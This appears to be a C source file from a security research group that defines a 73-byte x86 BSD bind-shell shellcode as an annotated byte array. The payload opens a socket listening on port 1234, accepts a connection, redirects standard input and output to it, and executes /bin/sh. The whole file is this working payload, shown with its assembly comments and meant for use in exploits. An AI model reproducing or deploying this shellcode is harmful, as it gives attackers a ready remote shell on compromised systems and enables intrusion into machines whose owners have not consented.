2008-10-10 18:23:18 +00:00
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/*
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2008-11-17 10:34:26 +00:00
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* $Id: bsd-x86-bndsockcode.c 40 2008-11-17 02:45:30Z ramon $
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2008-10-10 18:23:18 +00:00
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*
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* bsd-x86-bndsockcode.c
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* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
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*
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* This library is free software; you can redistribute it and/or
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* modify it under the terms of the GNU Lesser General Public
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* License as published by the Free Software Foundation; either
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* version 2.1 of the License, or (at your option) any later version.
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*
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* This library is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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* Lesser General Public License for more details.
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*
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* You should have received a copy of the GNU Lesser General Public
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* License along with this library; if not, write to the Free Software
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* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*
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*/
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#define BNDSOCKPORT 6
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char bndsockcode[]= /* 73 bytes */
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\x68\xff\x02\x04\xd2" /* pushl $0xd20402ff */
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"\x89\xe7" /* movl %esp,%edi */
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"\x50" /* pushl %eax */
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"\x6a\x01" /* pushl $0x01 */
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"\x6a\x02" /* pushl $0x02 */
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"\x6a\x10" /* pushl $0x10 */
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"\xb0\x61" /* movb $0x61,%al */
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"\xcd\x80" /* int $0x80 */
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"\x57" /* pushl %edi */
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"\x50" /* pushl %eax */
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"\x50" /* pushl %eax */
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"\x6a\x68" /* pushl $0x68 */
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"\x58" /* popl %eax */
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"\xcd\x80" /* int $0x80 */
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"\x89\x47\xec" /* movl %eax,-0x14(%edi) */
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"\xb0\x6a" /* movb $0x6a,%al */
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"\xcd\x80" /* int $0x80 */
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"\xb0\x1e" /* movb $0x1e,%al */
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"\xcd\x80" /* int $0x80 */
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"\x50" /* pushl %eax */
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"\x50" /* pushl %eax */
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"\x6a\x5a" /* pushl $0x5a */
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"\x58" /* popl %eax */
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"\xcd\x80" /* int $0x80 */
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"\xff\x4f\xe4" /* decl -0x1c(%edi) */
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"\x79\xf6" /* jns <bndsockcode+42> */
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"\x50" /* pushl %eax */
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"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
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"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
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"\x89\xe3" /* movl %esp,%ebx */
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"\x50" /* pushl %eax */
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"\x54" /* pushl %esp */
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"\x53" /* pushl %ebx */
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"\x50" /* pushl %eax */
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"\xb0\x3b" /* movb $0x3b,%al */
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"\xcd\x80" /* int $0x80 */
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;
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